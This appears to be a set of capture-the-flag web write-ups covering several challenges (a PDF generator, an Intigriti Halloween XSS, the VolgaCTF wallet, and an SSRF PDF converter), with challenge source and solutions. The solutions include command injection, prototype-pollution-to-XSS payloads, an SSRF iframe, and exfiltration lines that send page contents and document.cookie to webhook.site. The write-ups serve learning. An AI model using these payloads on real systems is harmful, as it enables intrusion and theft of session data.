requests.request("POST", f"{url}/setting/shell", headers=headers, json=payload)
response = requests.request("GET", f"{url}/cowsay", params={"say": "1 && echo $FLAG"})
print(response.text)
output:
___
< 1 >
---
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
ACSC{(oo)<Moooooooo_B09DRWWCSX!}
Actually, we don't even need two commands, we can just send: "say": "$FLAG"
because shell=true
makes $
a metacharacters instead of a literal.
I've created a pdf generator check it out
source code:
const express = require('express')
const PDFDocument = require('pdfkit');
const bodyParser = require("body-parser");
const fs = require('fs');
const uuid = require('uuid')
const FLAG = require("./flag")
var morgan = require('morgan')
var path = require('path')
var redis = require('redis')
var request = require('request');
var https = require('https');
const app = express()
var accessLogStream = fs.createWriteStream(path.join(__dirname, 'access.log'), { flags: 'a' })
app.use(morgan('combined', { stream: accessLogStream }))
app.use('/static', express.static('public'))
app.use(function(req, res, next) {
res.header('Cross-Origin-Opener-Policy', 'unsafe-none');
next();
});
app.use("/uploads/:file",function(req, res, next){
if(req.headers['sec-fetch-dest']=='embed'){
next();
}
else{
res.send('sorry');
}
});
var urlencodedParser = bodyParser.urlencoded({ extended: false })
app.get('/', (req, res) => {
res.send(`<!Doctype html>
<head>
<title>title</title>
<script src="/static/bundle.js"></script>
</head>
<div id="app">
<h3>{{title}}</h3>
</div>
<p id="name"></p>
<form action="/text" method="get" >
<input id="text" type="input" name="text"/><br>
<input type="submit"/>
</form>
<script>
var params = parseQuery(location.search.slice(1));
var app = new Vue({
el: '#app',
data: {
title: 'Text to PDF Convertor'
}
});
if(params.name && params.text ){
document.getElementById("name").innerText = "Hi, "+ params.name;
document.getElementById("text").value = params.text;
}
</script>
`)
});
app.get("/uploads/:file", (req, res) => {
var userPath = req.params.file;
var sanitizedPath = userPath.replace(/[^a-f0-9-]/gi,'_')
var filename = './uploads/' + sanitizedPath;
if(fs.existsSync(filename)){
var file = fs.createReadStream(filename);
file.on('end', function(){
fs.unlink(filename, function(err){
if(err){
console.log(err);
}
});
})
file.pipe(res);
}else{
res.send('oh its deleted');
}
});
app.get('/text', urlencodedParser, (req, res) => {
const ip = req.connection.remoteAddress
console.log(ip);
let pdfDoc = new PDFDocument;
var filename = './uploads/' + uuid.v4()
pdfDoc.pipe(fs.createWriteStream(filename));
console.log(ip)
if(ip === "127.0.0.1" || ip === "::1" || ip === "::ffff:127.0.0.1"){
pdfDoc.text(FLAG);
}else{
pdfDoc.text(req.query.text);
}
pdfDoc.end();
res.send(`<!Doctype html>
<head>
<title>title</title>
<script src="/static/bundle.js"></script>
</head>
<div id="app">
<h3>{{title}}</h3>
</div>
<embed src="${filename}" type="application/pdf" style="width:100%;height:70vh;"></embed>
<p id="name"></p>
<p> One more conversion? </p>
<form action="/text" method="get" >
<input id="text" type="input" name="text"/><br>
<input type="submit"/>
</form>
<a href="/report">report?</a>
<html>
<script>
var params = parseQuery(location.search.slice(1));
var app = new Vue({
el: '#app',
data: {
title: 'Here is your pdf'
}
});
if(params.name && params.text ){
document.getElementById("name").innerText = "Hi, "+ params.name;
document.getElementById("text").value = params.text;
}
</script>
`);
});
It's a simple service that we pass text to /text
and it will returns a page with embed pdf file with the text you gave.
Let's check where is the flag first, it's inside /text
route:
app.get('/text', urlencodedParser, (req, res) => {
const ip = req.connection.remoteAddress
console.log(ip);
let pdfDoc = new PDFDocument;
var filename = './uploads/' + uuid.v4()
pdfDoc.pipe(fs.createWriteStream(filename));
console.log(ip)
if(ip === "127.0.0.1" || ip === "::1" || ip === "::ffff:127.0.0.1"){
pdfDoc.text(FLAG);
}else{
pdfDoc.text(req.query.text);
}
pdfDoc.end();
// ...
})
If the request is from 127.0.0.1
, we can get the pdf file which has the flag. Combined this with the fact that there is a page to report the url, I guess we need to do something like:
It's hard to find the vulnerability because it looks quite simple:
<!Doctype html>
<head>
<title>title</title>
<script src="/static/bundle.js"></script>
</head>
<div id="app">
<h3>{{title}}</h3>
</div>
<p id="name"></p>
<form action="/text" method="get" >
<input id="text" type="input" name="text"/><br>
<input type="submit"/>
</form>
<script>
var params = parseQuery(location.search.slice(1));
var app = new Vue({
el: '#app',
data: {
title: 'Text to PDF Convertor'
}
});
if(params.name && params.text ){
document.getElementById("name").innerText = "Hi, "+ params.name;
document.getElementById("text").value = params.text;
}
</script>
By checking bundle.js
we can find the version of Vue and a suspicious snippet of code.
/*
utils
*/
var digitTest = /^\d+$/,
keyBreaker = /([^\[\]]+)|(\[\])/g,
paramTest = /([^?#]*)(#.*)?$/,
entityRegex = /%([^0-9a-f][0-9a-f]|[0-9a-f][^0-9a-f]|[^0-9a-f][^0-9a-f])/i,
startChars = {"#": true,"?": true},
prep = function (str) {
if (startChars[str.charAt(0)] === true) {
str = str.substr(1);
}
str = str.replace(/\+/g, ' ');
try {
return decodeURIComponent(str);
}
catch (e) {
return decodeURIComponent(str.replace(entityRegex, function(match, hex) {
return '%25' + hex;
}));
}
};
function isArrayLikeName(name) {
return digitTest.test(name) || name === '[]';
}
function idenity(value){ return value; }
function parseQuery(params, valueDeserializer) {
valueDeserializer = valueDeserializer || idenity;
var data = {}, pairs, lastPart;
if (params && paramTest.test(params)) {
pairs = params.split('&');
pairs.forEach(function (pair) {
var parts = pair.split('='),
key = prep(parts.shift()),
value = prep(parts.join('=')),
current = data;
if (key) {
parts = key.match(keyBreaker);
for (var j = 0, l = parts.length - 1; j < l; j++) {
var currentName = parts[j],
nextName = parts[j + 1],
currentIsArray = isArrayLikeName(currentName) && current instanceof Array;
if (!current[currentName]) {
if(currentIsArray) {
current.push( isArrayLikeName(nextName) ? [] : {} );
} else {
current[currentName] = isArrayLikeName(nextName) ? [] : {};}
}
if(currentIsArray) {
current = current[current.length - 1];
} else {
current = current[currentName];
}
}
lastPart = parts.pop();
if ( isArrayLikeName(lastPart) ) {
current.push(valueDeserializer(value));
} else {
if(currentName !== "__proto__")
current[lastPart] = valueDeserializer(value);
}
}
});
}
return data;
};
/*!
* Vue.js v2.6.10
* (c) 2014-2019 Evan You
* Released under the MIT License.
*/
If I don't know how to start, I always check if there is any vulnerabilities in the package. So I checked Vue first: https://github.com/vuejs/vue/releases
There is a security fix for serialize-javascript
so I follow this clue and see if I can find any working POC and details.
After 30 minutes of searching, the answer is no, I can't find useful any resources. Then I googled another keyword: Vue XSS
, found this good resource: https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets but it seems nothing to do with this challenge.
Trying to find known vulnerabilities in Vue doesn't work, so I get back to the suspicious parseQuery
function.
Only one line catch my eyes: if(currentName !== "__proto__")
. It's a classic way to prevent prototype pollution, a classic wrong way. We can use ['constructor']['prototype']
to bypass it.
Because of this clue, I guess it might be prototype pollution lead to XSS.
Although I am a front-end engineer, I only familiar with React and have almost no knowledge about Vue, maybe it's a good opportunity to pick it up?
By googling vue vulnerabilities
, we can find this official page: https://vuejs.org/v2/guide/security.html
The first rule is, never use non-trusted templates like this:
new Vue({
el: '#app',
template: `<div>` + userProvidedString + `</div>` // NEVER DO THIS
})
It gave me an idea so I tried this as POC:
var app = new Vue({
el: '#app',
template: '<img src=x onerror="alert(1)">',
data: {
title: 'Text to PDF Convertor'
}
});
As I expected, our sweet old friend alert popup has shown. Then I tried if prototype pollution works:
var a = {}
a['__proto__']['template'] = '<img src=x onerror="alert(1)">'
var app = new Vue({
el: '#app',
data: {
title: 'Text to PDF Convertor'
}
});
Lucky! It works like a charm. My guess is correct, we can chain prototype pollution and Vue template to do XSS.
So now the problem is, how to do prototype pollution? I am too lazy to read the source code of parseQuery carefully, so I just copied the function and tried this on my local:
var payload = 'a[constructor][prototype][template]=' + encodeURIComponent('<img src=x onerror="alert(1)">')
var params = parseQuery(payload);
var app = new Vue({
el: '#app',
data: {
title: 'Text to PDF Convertor'
}
});
Fortunately, it works again.
It's almost there, just fetch /text
and pass the content to my own server:
<embed src=1 onload="fetch(`/text`).then(a=>a.text()).then(a=>fetch('https://webhook.site/57250f91-2cec-4f0b-a11c-e5bd4bde108f?c='+btoa(a)))">
I used base64 encode because the content has many lines.
full url:
https://pdfgen.ctf.zer0pts.com:8443/?a[constructor][prototype][template]=%3Cembed%20src%3D1%20onload%3D%22fetch%28%60%2Ftext%60%29.then%28a%3D%3Ea.text%28%29%29.then%28a%3D%3Efetch%28%27https%3A%2F%2Fwebhook.site%2F57250f91-2cec-4f0b-a11c-e5bd4bde108f%3Fc%3D%27%2Bbtoa%28a%29%29%29%22%3E
After report the url above and received the result, we can get the uuid for the flag pdf file. Now go to the browser and replace the embed src with correct uuid:
First blood!
But it turns out it's unintended 😂
See official writeup for more details: https://blog.s1r1us.ninja/CTF/zer0ptsctf2021-challenges
Challenge link: https://challenge-1021.intigriti.io/
Removed styles and bats svg, sorry bats!
<html lang="en">
<head>
<title>BOOOOOOO!</title>
<meta
http-equiv="Content-Security-Policy"
content="default-src 'none'; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-782f54dcdc1c6b97c986bf4772ae9b56'; style-src 'nonce-36cefb85686c240001ff8a5492ba001a'"
/>
</head>
<body id="body">
<div class="wrapper"">
<div class=" bat-overlay">
</div>
<script nonce="782f54dcdc1c6b97c986bf4772ae9b56">document.getElementById('lock').onclick = () => {document.getElementById('lock').classList.toggle('unlocked');}</script>
<script nonce="782f54dcdc1c6b97c986bf4772ae9b56">
window.addEventListener("DOMContentLoaded", function () {
e = `)]}'` + new URL(location.href).searchParams.get("xss");
c = document.getElementById("body").lastElementChild;
if (c.id === "intigriti") {
l = c.lastElementChild;
i = l.innerHTML.trim();
f = i.substr(i.length - 4);
e = f + e;
}
let s = document.createElement("script");
s.type = "text/javascript";
s.appendChild(document.createTextNode(e));
document.body.appendChild(s);
});
</script>
</div>
<!-- !!! -->
<div id="html" class="text"><h1 class="light">HALLOWEEN HAS TAKEN OVER!</h1>ARE YOU SCARED?<br/>ARE YOU STILL SANE?<br/>NOBODY CAN BREAK THIS!<br/>NOBODY CAN SAVE INTIGRITI<br/>I USE ?html= TO CONVEY THESE MESSAGES<br/>I'LL RELEASE INTIGRITI FROM MY WRATH... <br/>... AFTER YOU POP AN XSS<br/>ELSE, INTIGRITI IS MINE!<br/>SIGNED* 1337Witch69</div>
<!-- !!! -->
<div class="a">'"</div>
</body>
<div id="container">
<span>I</span>
<span id="extra-flicker">N</span>
<span>T</span>
<span>I</span>
<div id="broken">
<span id="y">G</span>
</div>
<span>R</span>
<div id="broken">
<span id="y">I</span>
</div>
<span>T</span>
<span>I</span>
</div>
</html>
There are two important parts:
window.addEventListener("DOMContentLoaded", function () {
e = `)]}'` + new URL(location.href).searchParams.get("xss");
c = document.getElementById("body").lastElementChild;
if (c.id === "intigriti") {
l = c.lastElementChild;
i = l.innerHTML.trim();
f = i.substr(i.length - 4);
e = f + e;
}
let s = document.createElement("script");
s.type = "text/javascript";
s.appendChild(document.createTextNode(e));
document.body.appendChild(s);
});
and
<!-- !!! -->
<div id="html" class="text"><h1 class="light">HALLOWEEN HAS TAKEN OVER!</h1>ARE YOU SCARED?<br/>ARE YOU STILL SANE?<br/>NOBODY CAN BREAK THIS!<br/>NOBODY CAN SAVE INTIGRITI<br/>I USE ?html= TO CONVEY THESE MESSAGES<br/>I'LL RELEASE INTIGRITI FROM MY WRATH... <br/>... AFTER YOU POP AN XSS<br/>ELSE, INTIGRITI IS MINE!<br/>SIGNED* 1337Witch69</div>
<!-- !!! -->
<div class="a">'"</div>
For first part, we need to let e
to be a valid JS code. In order to achieve that, we need c.id === "intigriti"
be true so we can add string before )]}'
It's obviously the string we want to prepend to e
should have '
, so e
become something like 'xxx)]}'
which is just a JS string, and then we use xss
to append ;alert(document.domain)
to trigger XSS.
So, the question is, how do we control f
and put a single quote in it?
First, document.getElementById("body").lastElementChild;
should have id intigriti
, but last element is <div id="container">
for now, what should we do?
We can use ?html
to inject arbitrary HTML code to have a un-closed div, like this:
?html=</h1></div><div id="intigriti"><div>
part of response(I modified the format a little bit and add comment to make it more readable):
<!-- !!! -->
<div id="html" class="text">
<!-- we clode h1 and id=html div via </h1></div> -->
<h1 class="light"></h1>
</div>
<!-- we create a new div with id intigriti, which has no matching </div> -->
<div id="intigriti">
<!-- we create another div to "consume" a </div> -->
<div></div>
<!-- !!! -->
<div class="a">'"</div>
</body>
<div id="container">
<span>I</span>
<span id="extra-flicker">N</span>
<span>T</span>
<span>I</span>
<div id="broken">
<span id="y">G</span>
</div>
<span>R</span>
<div id="broken">
<span id="y">I</span>
</div>
<span>T</span>
<span>I</span>
</div>
DOM:
We successfully create a <div id="intigriti">
to wrap all the elements, make if (c.id === "intigriti") {
to be true.
What's next? Let's take a look at the snippet below:
if (c.id === "intigriti") {
l = c.lastElementChild;
i = l.innerHTML.trim();
f = i.substr(i.length - 4);
e = f + e;
}
For now, c.lastElementChild
is <div id="container">
, so f
is pan>
.
Our mission is to control c.lastElementChild
and let last 4 character of innerHTML to be 'xxx
(x
stands for any characters).
I stuck here for a while because my direction was wrong. I thought it's something related to mutation XSS, and we need to leverage some kind of browser quirk to change last element with "custom content".
After searching and studying mutation XSS for a while, I suddenly realized that the key is not content, is element
itself.
For example, if last element is something like this:
<div>
<a'bc>
whatever
</a'bc>
</div>
Then innerHTML is:
<a'bc>
whatever
</a'bc>
Last 4 characters is 'bc>
, exactly what we want! We don't need to insert an element after <div id=container>
, we just create a custom tag with single quote and wrap it, that's all!
So, here is the payload:
https://challenge-1021.intigriti.io/challenge/challenge.php?
xss=;alert(document.domain)
&html=</h1></div><div%20id=intigriti><div><a%27bc><div>
DOM:
Steal document.cookie
const express = require('express')
const bodyParser = require('body-parser')
const mysql = require(`mysql-await`)
const session = require('express-session')
const cookieParser = require("cookie-parser")
const pool = mysql.createPool({
connectionLimit: 50,
host : 'localhost',
user : '***REDACTED***',
password : '***REDACTED***',
database : '***REDACTED***'
})
const app = express()
app.set('strict routing', true)
app.set('view engine', 'ejs')
const rawBody = function (req, res, buf, encoding) {
if (buf && buf.length) {
req.rawBody = buf.toString(encoding || 'utf8')
}
}
app.use(bodyParser.json({verify: rawBody}))
app.use(cookieParser())
app.use(session({
secret: '***REDACTED***',
resave: false,
saveUninitialized: false,
proxy: true,
cookie: {
sameSite: 'none',
secure: true
}
}))
app.use(function (req, res, next) {
if(req.cookies.lang && typeof(req.cookies.lang) == "string")
req.session.lang = req.cookies.lang
if(req.query.lang && typeof(req.query.lang) == "string") {
res.cookie('lang', req.query.lang)
req.session.lang = req.query.lang
}
if(!req.session.lang)
req.session.lang = "en"
next()
});
app.get('/', (req, res) => {
if(req.session.userid)
return res.redirect('/wallet')
res.render('index', {lang: req.session.lang})
})
app.get('/login', (req, res) => {
if(req.session.userid)
return res.redirect('/wallet')
res.render('login', {lang: req.session.lang})
})
app.post('/login', async (req, res) => {
if(!req.body.login || !req.body.password || (typeof(req.body.login) != "string") || (typeof(req.body.password) != "string") || (req.body.password.length < 8))
return res.json({success: false})
const db = await pool.awaitGetConnection()
try {
result = await db.awaitQuery("SELECT `id` FROM `users` WHERE `login` = ? AND `password` = ? LIMIT 1", [req.body.login, req.body.password])
req.session.userid = result[0].id
res.json({success: true})
} catch {
res.json({success: false})
} finally {
db.release()
}
})
app.get('/signup', (req, res) => {
if(req.session.userid)
return res.redirect('/wallet')
res.render('signup', {lang: req.session.lang})
})
app.post('/signup', async (req, res) => {
if(!req.body.login || !req.body.password || (typeof(req.body.login) != "string") || (typeof(req.body.password) != "string") || (req.body.password.length < 8))
return res.json({success: false})
const db = await pool.awaitGetConnection()
try {
result = await db.awaitQuery("SELECT `id` FROM `users` WHERE `login` = ?", [req.body.login])
if (result.length != 0)
return res.json({success: false})
result = await db.awaitQuery("INSERT INTO `users` (`login`, `password`) VALUES (?, ?)", [req.body.login, req.body.password])
req.session.userid = result.insertId
db.awaitQuery("INSERT INTO `wallets` (`id`, `title`, `balance`, `user_id`) VALUES (?, 'Default Wallet', 100, ?)", [`0x${[...Array(32)].map(i=>(~~(Math.random()*16)).toString(16)).join('')}`, result.insertId])
return res.json({success: true})
} catch {
return res.json({success: false})
} finally {
db.release()
}
})
app.get('/wallet', async (req, res) => {
if(!req.session.userid)
return res.redirect('/')
const db = await pool.awaitGetConnection()
wallets = await db.awaitQuery("SELECT * FROM `wallets` WHERE `user_id` = ?", [req.session.userid])
result = await db.awaitQuery("SELECT SUM(`balance`) AS `sum` FROM `wallets` WHERE `user_id` = ?", [req.session.userid])
db.release()
res.render('wallet', {wallets, sum: result[0].sum, lang: req.session.lang})
})
app.post('/transfer', async (req, res) => {
if(!req.session.userid || !req.body.from_wallet || !req.body.to_wallet || (req.body.from_wallet == req.body.to_wallet) || !req.body.amount
|| (typeof(req.body.from_wallet) != "string") || (typeof(req.body.to_wallet) != "string") || (typeof(req.body.amount) != "number") || (req.body.amount <= 0))
return res.json({success: false})
const db = await pool.awaitGetConnection()
try {
await db.awaitBeginTransaction()
from_wallet = await db.awaitQuery("SELECT `balance` FROM `wallets` WHERE `id` = ? AND `user_id` = ? FOR UPDATE", [req.body.from_wallet, req.session.userid])
to_wallet = await db.awaitQuery("SELECT `balance` FROM `wallets` WHERE `id` = ? AND `user_id` = ? FOR UPDATE", [req.body.to_wallet, req.session.userid])
if (from_wallet.length == 0 || to_wallet.length == 0)
return res.json({success: false})
from_balance = from_wallet[0].balance
if(from_balance >= req.body.amount) {
transaction = await db.awaitQuery("INSERT INTO `transactions` (`transaction`) VALUES (?)", [req.rawBody])
await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` - `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.from_wallet' AND `transactions`.`id` = ?", [transaction.insertId])
await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` + `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.to_wallet' AND `transactions`.`id` = ?", [transaction.insertId])
await db.awaitCommit()
res.json({success: true})
} else {
await db.awaitRollback()
res.json({success: false})
}
} catch {
await db.awaitRollback()
res.json({success: false})
} finally {
db.release()
}
})
app.post('/wallet', async (req, res) => {
if(!req.session.userid || !req.body.wallet || (typeof(req.body.wallet) != "string"))
return res.json({success: false})
const db = await pool.awaitGetConnection()
try {
db.awaitQuery("INSERT INTO `wallets` (`id`, `title`, `balance`, `user_id`) VALUES (?, ?, 0, ?)", [`0x${[...Array(32)].map(i=>(~~(Math.random()*16)).toString(16)).join('')}`, req.body.wallet, req.session.userid])
res.json({success: true})
} catch {
res.json({success: false})
} finally {
db.release()
}
})
app.post('/withdraw', async (req, res) => {
if(!req.session.userid || !req.body.wallet || (typeof(req.body.wallet) != "string"))
return res.json({success: false})
const db = await pool.awaitGetConnection()
try {
result = await db.awaitQuery("SELECT `balance` FROM `wallets` WHERE `id` = ? AND `user_id` = ?", [req.body.wallet, req.session.userid])
/* only developers can have a negative balance */
if((result[0].balance > 150) || (result[0].balance < 0))
res.json({success: true, money: FLAG})
else
res.json({success: false})
} catch {
res.json({success: false})
} finally {
db.release()
}
})
app.get('/logout', (req, res) => {
req.session.destroy()
res.redirect('/')
})
const PORT = 8080
const FLAG = "VolgaCTF{***REDACTED***}"
app.listen(PORT, () => {
console.log(`App listening on port ${PORT}`)
})
There is a very suspicious part for setting lang via query string:
app.use(function (req, res, next) {
if(req.cookies.lang && typeof(req.cookies.lang) == "string")
req.session.lang = req.cookies.lang
if(req.query.lang && typeof(req.query.lang) == "string") {
res.cookie('lang', req.query.lang)
req.session.lang = req.query.lang
}
if(!req.session.lang)
req.session.lang = "en"
next()
});
After changing this value, I found that the lang
is reflected in response.
https://wallet.volgactf-task.ru/wallet?lang=abc123
<script src="https://volgactf-wallet.s3-us-west-1.amazonaws.com/locale_abc123.js"></script>
But <>"'
is escaped so we can't do XSS here. Let's see what's inside s3 bucket: https://volgactf-wallet.s3-us-west-1.amazonaws.com
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Name>volgactf-wallet</Name>
<Prefix/>
<Marker/>
<MaxKeys>1000</MaxKeys>
<IsTruncated>false</IsTruncated>
<Contents>
<Key>bootstrap.min.css</Key>
<LastModified>2021-03-13T19:30:14.000Z</LastModified>
<ETag>"a15c2ac3234aa8f6064ef9c1f7383c37"</ETag>
<Size>155758</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>bootstrap.min.js</Key>
<LastModified>2021-03-11T11:59:57.000Z</LastModified>
<ETag>"e1d98d47689e00f8ecbc5d9f61bdb42e"</ETag>
<Size>58072</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>deparam.js</Key>
<LastModified>2021-03-11T12:17:35.000Z</LastModified>
<ETag>"51fa265e6f8b1e2327ef0b4b8a859933"</ETag>
<Size>1835</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>flag-icon.min.css</Key>
<LastModified>2021-03-13T19:30:31.000Z</LastModified>
<ETag>"1c7783936db99706c52edb52174b0d86"</ETag>
<Size>33961</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>flags/4x3/ru.svg</Key>
<LastModified>2021-03-13T19:30:46.000Z</LastModified>
<ETag>"0cacf46e6f473fa88781120f370d6107"</ETag>
<Size>286</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>flags/4x3/us.svg</Key>
<LastModified>2021-03-13T19:30:46.000Z</LastModified>
<ETag>"ae65659236a7e348402799477237e6fa"</ETag>
<Size>4461</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>jquery-3.3.1.slim.min.js</Key>
<LastModified>2021-03-11T12:00:03.000Z</LastModified>
<ETag>"99b0a83cf1b0b1e2cb16041520e87641"</ETag>
<Size>69917</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>locale_en.js</Key>
<LastModified>2021-03-14T04:29:10.000Z</LastModified>
<ETag>"12753963071098b25222964ef55d34aa"</ETag>
<Size>834</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>locale_ru.js</Key>
<LastModified>2021-03-14T04:29:30.000Z</LastModified>
<ETag>"8c76c84adcc90e93dfd978ec59675fd2"</ETag>
<Size>1142</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>popper.min.js</Key>
<LastModified>2021-03-11T12:00:26.000Z</LastModified>
<ETag>"56456db9d72a4b380ed3cb63095e6022"</ETag>
<Size>21004</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>style.css</Key>
<LastModified>2021-03-11T12:00:30.000Z</LastModified>
<ETag>"98fbfe87adff070366e195a45920e28f"</ETag>
<Size>123</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
</ListBucketResult>
There is a new file called deparam.js
which never use in the web page so I guess we need to import this to do something.
content:
deparam = function( params, coerce ) {
var obj = Object.create(null), /* Prototype Pollution fix */
coerce_types = { 'true': !0, 'false': !1, 'null': null };
params.replace(/\+/g, ' ').split('&').forEach(function(v){
var param = v.split( '=' ),
key = decodeURIComponent( param[0] ),
val,
cur = obj,
i = 0,
keys = key.split( '][' ),
keys_last = keys.length - 1;
if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
keys = keys.shift().split('[').concat( keys );
keys_last = keys.length - 1;
} else {
keys_last = 0;
}
if ( param.length === 2 ) {
val = decodeURIComponent( param[1] );
if ( coerce ) {
val = val && !isNaN(val) ? +val
: val === 'undefined' ? undefined
: coerce_types[val] !== undefined ? coerce_types[val]
: val;
}
if ( keys_last ) {
for ( ; i <= keys_last; i++ ) {
key = keys[i] === '' ? cur.length : keys[i];
cur = cur[key] = i < keys_last
? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? Object.create(null) : [] )
: val;
}
} else {
if ( Object.prototype.toString.call( obj[key] ) === '[object Array]' ) {
obj[key].push( val );
} else if ( obj[key] !== undefined ) {
obj[key] = [ obj[key], val ];
} else {
obj[key] = val;
}
}
} else if ( key ) {
obj[key] = coerce
? undefined
: '';
}
});
return obj;
};
queryObject = deparam(location.search.slice(1))
The source code already gave us a hint: /* Prototype Pollution fix */
. So I thought the goal is to leverage prototype pollution and trigger XSS via jquery or tooltip.
After trying for few payloads, prototype pollution can be triggered via a[0]=2&a[__proto__][__proto__][abc]=1
POC:
deparam = function( params, coerce ) {
var obj = Object.create(null), /* Prototype Pollution fix */
coerce_types = { 'true': !0, 'false': !1, 'null': null };
params.replace(/\+/g, ' ').split('&').forEach(function(v){
var param = v.split( '=' ),
key = decodeURIComponent( param[0] ),
val,
cur = obj,
i = 0,
keys = key.split( '][' ),
keys_last = keys.length - 1;
if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
keys = keys.shift().split('[').concat( keys );
keys_last = keys.length - 1;
} else {
keys_last = 0;
}
if ( param.length === 2 ) {
val = decodeURIComponent( param[1] );
if ( keys_last ) {
for ( ; i <= keys_last; i++ ) {
key = keys[i] === '' ? cur.length : keys[i];
cur = cur[key] = i < keys_last
? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? Object.create(null) : [] )
: val;
}
} else {
if ( Object.prototype.toString.call( obj[key] ) === '[object Array]' ) {
obj[key].push( val );
} else if ( obj[key] !== undefined ) {
obj[key] = [ obj[key], val ];
} else {
obj[key] = val;
}
}
} else if ( key ) {
obj[key] = '';
}
});
return obj;
};
var poc = {}
queryObject = deparam('a[0]=2&a[__proto__][__proto__][abc]=1')
console.log(poc.abc) // 1
The next step is to see if there is any gadget we can use: https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/jquery.md
But from the source of the web page we know that only $('[data-toggle="tooltip"]').tooltip()
has been called after content loaded, so I think it's the key and we need to use it. I tried for an hour to see if I can pollute the template
or title
options for tooltip but it doesn't work.
After trace the source code of bootstrap tooltip, when tooltip show, getTipElement
will be triggered:
getTipElement() {
this.tip = this.tip || $(this.config.template)[0]
return this.tip
}
template is html so we can use this jQuery gadget now:
<script/src=https://code.jquery.com/jquery-3.3.1.js></script>
<script>
Object.prototype.div=['1','<img src onerror=alert(1)>','1']
</script>
<script>
$('<div x="x"></div>')
</script>
But how to show the tooltip? We can show the tooltip if it gets focused, and luckily there is an id for the tooltip element: <span class="d-inline-block" tabindex="0" data-toggle="tooltip" title="Not implemented yet" id="depositButton">
So combined with all the vulnerabilities above, the steps are:
lang
to import deparam.js
#depositButton
to trigger tooltip and do XSSWe can create a simple html page and use iframe to load the website. After it's loaded we update the src to #depositButton
to let tooltip get focus and trigger XSS.
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
</head>
<body>
<script>
fetch('https://webhook.site/f77fba3b-a14a-4fad-a39e-2f439861882a?check').then(r =>r).catch(err => console.log(err))
function run() {
setTimeout(() => {
f.src = "https://wallet.volgactf-task.ru/wallet?lang=/../deparam&a[0]=2&a[__proto__][__proto__][div][0]=1&a[__proto__][__proto__][div][1]=%3Cimg%20src%20onerror%3Dfetch(%22https%3A%2F%2Fwebhook.site%3Fc%3D%22%2Bdocument.cookie)%3E&a[__proto__][__proto__][div][2]=1#depositButton"
}, 2000)
}
</script>
<iframe id="f" onload="run()" src="https://wallet.volgactf-task.ru/wallet?lang=/../deparam&a[0]=2&a[__proto__][__proto__][div][0]=1&a[__proto__][__proto__][div][1]=%3Cimg%20src%20onerror%3Dfetch(%22https%3A%2F%2Fwebhook.site%3Fc%3D%22%2Bdocument.cookie)%3E&a[__proto__][__proto__][div][2]=1"></iframe>
</body>
</html>
Recently Elliot got a job as a web developer. He got a project to create a website that converts webpage into pdf but he don't know about the web app security and somehow hackers got access to admin panel content running locally. As a pentester, we need to find the flaw in the app to see admin panel.
It's a web page which can convert provided domain to pdf file:
According to the description it looks like SSRF, we need to access admin panel which running locally, so I guess it's http://localhost
or other common ports.
I tried:
and it returns Not that Easy
, it seems it blocks accessing local ip address.
Then I tried server side redirect it fails as well with message URL Redirecting is not Working!!
How about client redirect? We can host the html file locally and use ngrok to generate a domain.
<script>window.location = 'https://google.com?q=123'</script>
Unfortunately it doesn't work as well.
How about... iframe inside valid domain? Just like above but the html content is an iframe:
<iframe width="800" height="800" src="http://localhost"></iframe>
boom! it works!
We can get the flag from iframe content.
The author of this chall published the official writeup: PDF Generator Writeup | DNS Rebinding Attack | TrollCat CTF Writeup and the expected solution is DNS rebinding (useful link).
Take a little break in your journey, read some of our extravagant knowledgement to become your best version...
...and, of course, share your sentences with us.
Source code:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Share your thoughts</title>
<link href="/static/css/style.css" rel="stylesheet">
<script src="https://unpkg.com/shvl@latest/dist/shvl.umd.js"></script>
<script src="https://unpkg.com/@popperjs/core@2"></script>
</head>
<body class="wrap --rtn">
<div>
<form action="/admin" method="POST" class="flex-form">
<div id="js-usr-new" class="select__label text">Share your coach phrases with our admin</div>
<input type="url" name="url" placeholder="address" class="ui-elem ui-elem-email text" />
<button id="send-button" type="submit" class="ui-button text">send</button>
<div id="send-tooltip" class="tooltip" role="tooltip">
go ahead, click me :)
<div class="tooltip-arrow" data-popper-arrow></div>
</div>
</form>
<div id="quote" class="flex-form"></div>
</div>
<iframe id='#quote-base' src="/quotes"></iframe>
<script>
const button = document.querySelector('#send-button');
const tooltip = document.querySelector('#send-tooltip');
const message = document.querySelector('#quote');
window.addEventListener('message', function setup(e) {
window.removeEventListener('message', setup);
quote = {'author': '', 'message': ''}
